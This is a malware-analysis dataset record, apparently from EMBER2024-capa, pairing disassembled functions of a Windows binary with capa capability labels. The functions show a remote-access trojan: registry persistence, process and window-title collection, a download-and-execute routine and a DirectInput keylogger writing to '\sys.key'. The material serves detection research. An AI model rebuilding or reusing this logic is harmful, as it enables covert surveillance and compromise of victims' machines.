joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006250
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 8], rdx
mov rbp, rdx
lea rax, vtable.CManager.0
mov qword [rcx], rax
mov rax, qword [rdx]
mov rbx, rcx
mov rdx, rcx
mov rcx, rbp
mov esi, r9d
mov rdi, r8
call qword [rax + 0x18]
xor r9d, r9d
lea edx, [r9 + 1]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x10], rax
lea rax, vtable.CKernelManager.0
mov qword [rbx], rax
mov eax, dword [rsp + 0x60]
mov dword [rbx + 0x230], eax
test eax, eax
je 0x1400062fe
test rdi, rdi
je 0x1400062d1
lea rcx, [0x1400388f0]
mov r8, rdi
mov edx, 0x208
call fcn.140012210
mov r8, qword [rsp + 0x58]
test r8, r8
je 0x1400062ec
lea rcx, [0x140038d00]
mov edx, 0x208
call fcn.140012210
mov eax, dword [rsp + 0x50]
mov dword [0x140035138], esi
mov dword [0x1400355fc], eax
jmp 0x140006342
test rdi, rdi
je 0x140006317
lea rcx, [0x1400380d0]
mov r8, rdi
mov edx, 0x208
call fcn.140012210
mov r8, qword [rsp + 0x58]
test r8, r8
je 0x140006332
lea rcx, [0x1400384e0]
mov edx, 0x208
call fcn.140012210
mov eax, dword [rsp + 0x50]
mov dword [0x14003431c], esi
mov dword [0x1400355f8], eax
xor eax, eax
lea rcx, [0x140029800]
mov qword [rbx + 0x228], rbp
mov qword [rbx + 0x234], rax
mov qword [0x140037050], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.RegCreateKeyExW
mov rcx, rax
mov qword [rbx + 0x240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x14002a050]
mov qword [rbx + 0x248], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegDeleteKeyW
mov qword [rbx + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x14002a070]
mov qword [rbx + 0x258], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140029820]
mov qword [rbx + 0x260], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140029838]
mov qword [rbx + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegEnumValueW
mov qword [rbx + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegEnumKeyExW
mov qword [rbx + 0x270], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140029848]
mov qword [rbx + 0x278], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov qword [rbx + 0x280], rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140006cf0
Capabilities:
Enumerate processes
Get graphical window text

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x290
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov r14, rcx
mov ecx, 0x20a
call fcn.140011eb0
xor edx, edx
mov r8d, 0x20a
mov rcx, rax
mov rsi, rax
call fcn.140013cb0
mov byte [rsi], 0
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [rsp + 0x34]
lea rcx, [rsi + 2]
mov edx, 0xa
lea r8, [0x140029580]
cmp eax, 0x2bf20
ja 0x140006d79
lea r8, [0x14002957c]
call fcn.140012210
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea r9, [rsi + 0x16]
mov rcx, rax
mov edx, ntohs
mov r8d, 0x1f4
call qword [sym.imp.USER32.dll_SendMessageW]
mov rcx, qword [r14 + 8]
mov r8d, 0x20a
mov rax, qword [rcx]
mov rdx, rsi
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rsi
call fcn.140011b00
mov ecx, 0x7532
call fcn.140011eb0
xor edx, edx
mov r8d, 0x7532
mov rcx, rax
mov r12, rax
call fcn.140013cb0
xor ebp, ebp
xor edx, edx
lea ecx, [rbp + 2]
mov byte [r12], 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x140006e0d
lea rbx, [r12 + 2]
lea r8, str._vz
mov edx, 0x3a98
mov rcx, rbx
call fcn.140011f54
jmp 0x140006f13
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x140006e2c
lea rdx, [r12 + 2]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rbx, [r12 + 2]
lea rdi, [0x1400298bc]
mov ecx, 1
mov rsi, rbx
repe cmpsw word [rsi], word [rdi]
jne 0x140006e59
lea r8, [0x1400295fc]
mov edx, 0x3a98
mov rcx, rbx
call fcn.140011f54
lea r8, [0x14002a0e8]
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
call fcn.140011f54
lea rcx, [rsp + 0x44]
xor edx, edx
mov r8d, 0x234
call fcn.140013cb0
lea rdx, [rsp + 0x40]
mov rcx, r13
mov dword [rsp + 0x40], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006f13
nop dword [rax]
mov rcx, rbx
inc ebp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x36b0
jg 0x140006f13
mov eax, 0x66666667
imul ebp
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*4]
cmp ebp, ecx
jne 0x140006ee0
lea r8, [0x14002a0f8]
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
call fcn.140011f54
lea rax, [rsp + 0x6c]
lea r8, str._s___s
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140011f54
lea rdx, [rsp + 0x40]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006ea0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [r14 + 8]
mov r8d, 0x7532
mov rax, qword [rcx]
mov rdx, r12
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, r12
call fcn.140011b00
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140011ae0
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140006f70
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x610
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0x600], rax
mov rbx, rcx
mov ebp, r8d
lea rcx, [rsp + 0x50]
mov r8d, 0x2d8
mov rsi, rdx
call fcn.140011b20
lea rcx, [rsp + 0x332]
xor r12d, r12d
xor edx, edx
mov r8d, 0x2ce
mov word [rsp + 0x330], r12w
call fcn.140013cb0
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 1]
lea rcx, [rsp + 0x260]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140007007
xor eax, eax
jmp 0x1400070a2
lea r8d, [rbp - 0x2d8]
lea rdx, [rsi + 0x2d8]
lea r9, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140007000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x330]
test eax, eax
je 0x140007068
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x260]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x140007076
lea rdx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x54]
test eax, eax
je 0x140007087
dec eax
jne 0x14000709d
xor r8d, r8d
jmp 0x14000708d
mov r8d, 5
lea rdx, [rsp + 0x330]
mov rcx, rbx
call fcn.1400070c0
mov eax, 1
mov rcx, qword [rsp + 0x600]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0x610
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400070c0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0xa10]
sub rsp, 0xb10
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rbp + 0xa00], rax
mov rsi, rcx
mov r12d, r8d
mov rdi, rdx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.140013cb0
mov edx, 0x2e
mov rcx, rdi
call fcn.140012778
mov rbx, rax
test rax, rax
je 0x140007318
mov qword [rsp + 0xb50], r13
lea rcx, [rbp + 0x1f2]
xor r13d, r13d
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r13w
call fcn.140013cb0
lea edx, [r13 + 0x20]
mov rcx, rbx
call fcn.140012778
mov rcx, rbx
test rax, rax
je 0x140007177
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x140007194
cmp word [rbx + rcx*2], 0x20
je 0x14000717d
dec rcx
dec eax
test rcx, rcx
jg 0x140007164
jmp 0x140007194
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.1400127a4
lea r9, [rbp - 0x20]
lea rdx, [rbp + 0x1f0]
mov r8d, 1
mov rcx, rsi
call fcn.140007340
test eax, eax
je 0x14000722a
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.140013cb0
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.140013cb0
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r13w
call fcn.140013cb0
lea r9, [rbp + 0x400]
lea rdx, [rbp + 0x610]
mov r8d, 2
mov rcx, rsi
call fcn.140007340
test eax, eax
jne 0x140007231
xor al, al
jmp 0x140007310
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x14002a158]
lea rcx, [rbp - 0x20]
call fcn.1400121a4
test rax, rax
jne 0x140007292
lea rdx, [0x14002a160]
lea rcx, [rbp - 0x20]
call fcn.1400121a4
test rax, rax
jne 0x140007292
lea rdx, [0x1400294e0]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14000729e
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.140013cb0
mov dword [rsp + 0x50], WSAGetLastError
test r12d, r12d
je 0x1400072c9
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x1400072d5
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r13w
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
mov r13, qword [rsp + 0xb50]
mov rcx, qword [rbp + 0xa00]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0xb10
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1400078e0
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
mov rbp, rdx
lea rax, [rsp + 0x50]
mov rsi, r8
mov rbx, rcx
lea rdi, str.main
lea r12, str.back
mov rdx, rdi
mov r9d, 2
cmovne rdx, r12
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x230], 0
lea r8, [rsp + 0x50]
cmovne rdi, r12
mov rcx, 0xffffffff80000001
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000799f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x140007b10
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x860
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0x850], rax
mov rbp, rcx
xor r14d, r14d
lea rcx, str.wininet.dll
mov esi, 1
mov rbx, rdx
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x44], r14d
movzx r12d, sil
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r14d
call rax
mov r13, rax
test rax, rax
jne 0x140007ba3
test rdi, rdi
je 0x140007b9c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x140007cda
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x140007b8e
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140007ca0
mov qword [rsp + 0x8b0], r15
mov r15d, 0x5a4d
nop word [rax + rax]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x800
call fcn.140013cb0
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x800
mov rcx, rbp
call rax
test esi, esi
je 0x140007c63
cmp word [rsp + 0x50], r15w
jne 0x140007c8c
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov esi, r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x40], r14d
ja 0x140007c20
jmp 0x140007c8f
xor r12b, r12b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x8b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x140007cd6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, r12b
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0x860
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007fe0
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push rdi
push r14
push r15
sub rsp, 0x20
mov r8, qword [rcx]
mov rbp, rcx
mov ecx, dword [rcx + 0x68]
movzx eax, word [r8 + 0x14]
mov r15, qword [r8 + 0x30]
dec rcx
mov r11d, dword [rax + r8 + 0x20]
lea r9, [rax + r8 + 0x18]
movabs rax, 0xffffffff00000000
and r15, rax
mov eax, dword [r9 + 0x10]
not rcx
or r11, r15
and rcx, r11
test eax, eax
jne 0x140008040
mov edx, dword [r9 + 0x24]
test dl, 0x40
je 0x140008038
mov eax, dword [r8 + 0x20]
jmp 0x140008040
test dl, dl
jns 0x140008040
mov eax, dword [r8 + 0x24]
mov edx, dword [r9 + 0x24]
mov ebx, 1
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r12
mov r10d, eax
mov r14d, ebx
lea rdi, [0x1400355d8]
mov qword [rsp + 0x68], r13
cmp bx, word [r8 + 6]
jae 0x1400081b7
lea rbx, [r9 + 0x4c]
nop word [rax + rax]
mov esi, dword [rbp + 0x68]
mov r12d, dword [rbx - 0x1c]
mov eax, dword [rbx - 0x14]
or r12, r15
lea rdi, [rsi - 1]
not rdi
and rdi, r12
test eax, eax
jne 0x1400080b3
mov r9d, dword [rbx]
test r9b, 0x40
je 0x1400080aa
mov eax, dword [r8 + 0x20]
jmp 0x1400080b3
test r9b, r9b
jns 0x1400080b3
mov eax, dword [r8 + 0x24]
mov r13d, eax
cmp rcx, rdi
je 0x140008171
lea rax, [r10 + r11]
cmp rax, rdi
ja 0x140008171
test r10, r10
je 0x140008164
bt edx, 0x19
jae 0x140008117
cmp r11, rcx
jne 0x140008164
cmp dword [r8 + 0x38], esi
je 0x1400080f7
xor edx, edx
mov rax, r10
div rsi
test rdx, rdx
jne 0x140008164
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x140008192
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
lea rax, [0x1400355d8]
mov r8d, dword [rax + rcx*4]
bt edx, 0x1a
jae 0x14000814f
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400081dc
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x140008192
mov eax, dword [rbx]
bt eax, 0x19
jae 0x140008183
bt edx, 0x19
jae 0x140008183
or edx, eax
jmp 0x140008189
or edx, eax
btr edx, 0x19
mov r10, r13
sub r10, r11
add r10, r12
mov r8, qword [rbp]
inc r14d
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp r14d, eax
jl 0x140008080
mov ebx, 1
lea rdi, [0x1400355d8]
test r10, r10
je 0x140008226
bt edx, 0x19
jae 0x1400081e0
cmp r11, rcx
jne 0x140008226
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
jmp 0x140008226
xor eax, eax
jmp 0x140008228
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
mov r8d, dword [rdi + rcx*4]
bt edx, 0x1a
jae 0x140008211
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400081dc
mov eax, ebx
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rbp
pop rbx
ret
Function at 0x140008e40
Capabilities:
Check for time delay via queryperformancecounter
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
mov rsi, rcx
mov rcx, qword [rcx + 0x148]
mov rdi, r9
mov ebp, r8d
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsi + 0x388]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r14d, r14d
lea rcx, [rsi + 0x138]
mov eax, r14d
xchg dword [rsi + 0x150], eax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsi + 0x160]
mov r8, rdi
mov edx, 0xff
call fcn.140012210
lea rcx, [rsi + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [rsi + 0x160]
lea rcx, [rsi + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [rsi + 0x360], eax
call fcn.140011b20
movsxd r11, dword [rsi + 0x360]
lea eax, [r11 + 4]
mov rcx, r11
mov dword [rsi + 0x364], eax
call fcn.140011eb0
mov qword [rsi + 0x380], rax
test rax, rax
je 0x140008f55
mov rcx, qword [rsi + 0x378]
mov edi, 1
movzx r8d, bp
mov rax, qword [rcx + 8]
add rcx, 8
mov rdx, r12
mov r9d, edi
mov word [rsp + 0x28], r14w
mov qword [rsp + 0x20], r14
call qword [rax]
mov rcx, qword [rsi + 0x388]
mov edx, 0x1770
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x140008f5c
cmp eax, 0x102
je 0x140008f48
cmp eax, 0xffffffff
jne 0x140008f55
mov rcx, qword [rsi + 0x388]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x140008fdf
lea rcx, [rsi + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsi + 0x140]
sub rax, qword [rsi + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [rsi + 0x130]
cvtsi2sd xmm1, rax
divsd xmm0, qword [0x14002a408]
divsd xmm1, xmm0
movsd qword [rsi + 0x128], xmm1
xchg dword [rsi + 0x150], edi
mov rcx, qword [rsi + 0x388]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea r11, [rsp + 0x60]
lea r8, [0x140009000]
mov qword [rsp + 0x28], r11
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call fcn.1400124e4
mov qword [rsi + 0x390], rax
mov al, 1
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret

Function at 0x14000a030
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov ecx, eax
xor edx, edx
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call qword [sym.imp.USER32.dll_GetInputState]
xor ebx, ebx
lea r8, [0x140009680]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x140009c40]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [0x140039120], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x140039120]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x140039120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x14000a0c0
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov rsi, rdx
mov rbp, rcx
lea r13, [0x1400374a0]
lea edx, [r9 + 0x23]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str._sys.key
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8, r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x140039138], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 2]
mov edx, 0x40000000
mov rcx, r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x3200000
jbe 0x14000a18b
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [0x140039138]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsi]
lea r9, [0x140039128]
lea r8, [0x140028e70]
mov edx, 0x800
mov qword [rsp + 0x20], r12
call qword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x14000a1c4
xor al, al
jmp 0x14000a268
mov rcx, qword [0x140039128]
lea r8, [0x140039130]
lea rdx, [0x140028e90]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x14000a1bd
mov rcx, qword [0x140039130]
lea rdx, [0x140028e50]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x14000a1bd
mov rcx, qword [0x140039130]
mov rdx, qword [rbp]
mov r8d, 0xa
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x14000a1bd
mov rcx, qword [0x140039130]
mov dword [rsp + 0x40], socket
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4c], r12d
mov dword [rsp + 0x50], 0x3c
mov rax, qword [rcx]
lea r8, [rsp + 0x40]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x14000a1bd
mov rcx, qword [0x140039130]
mov rax, qword [rcx]
call qword [rax + gethostname]
test eax, eax
setns al
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140011ae0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret